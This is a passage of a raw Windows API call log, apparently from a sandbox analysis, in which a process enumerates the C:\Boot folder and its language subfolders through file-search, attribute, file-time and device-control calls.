nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.555] GetLastError () returned 0x12 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.555] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.556] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.620] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.620] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.620] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.620] NtClose (Handle=0x180) returned 0x0 [0034.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.620] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.621] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85dc8 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9be30 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.621] GetLastError () returned 0x12 [0034.621] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.621] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.621] GetLastError () returned 0x12 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.621] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.621] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0034.621] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0034.621] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.621] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.622] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.622] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.622] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.622] NtClose (Handle=0x148) returned 0x0 [0034.622] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.622] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.622] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.622] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.622] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.622] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.622] GetLastError () returned 0x12 [0034.622] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.622] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.622] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.622] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.622] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.623] GetLastError () returned 0x12 [0034.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.623] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.623] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0034.659] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.659] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.659] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.659] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.660] NtClose (Handle=0x180) returned 0x0 [0034.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.666] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.668] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.669] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85e08 [0034.670] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9bf40 [0034.670] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.670] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.672] GetLastError () returned 0x12 [0034.672] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.672] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.706] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.706] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.706] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.744] GetLastError () returned 0x12 [0034.744] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.745] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.764] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.782] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0034.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.876] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.878] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.878] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.878] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.878] NtClose (Handle=0x148) returned 0x0 [0034.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.878] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.879] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, 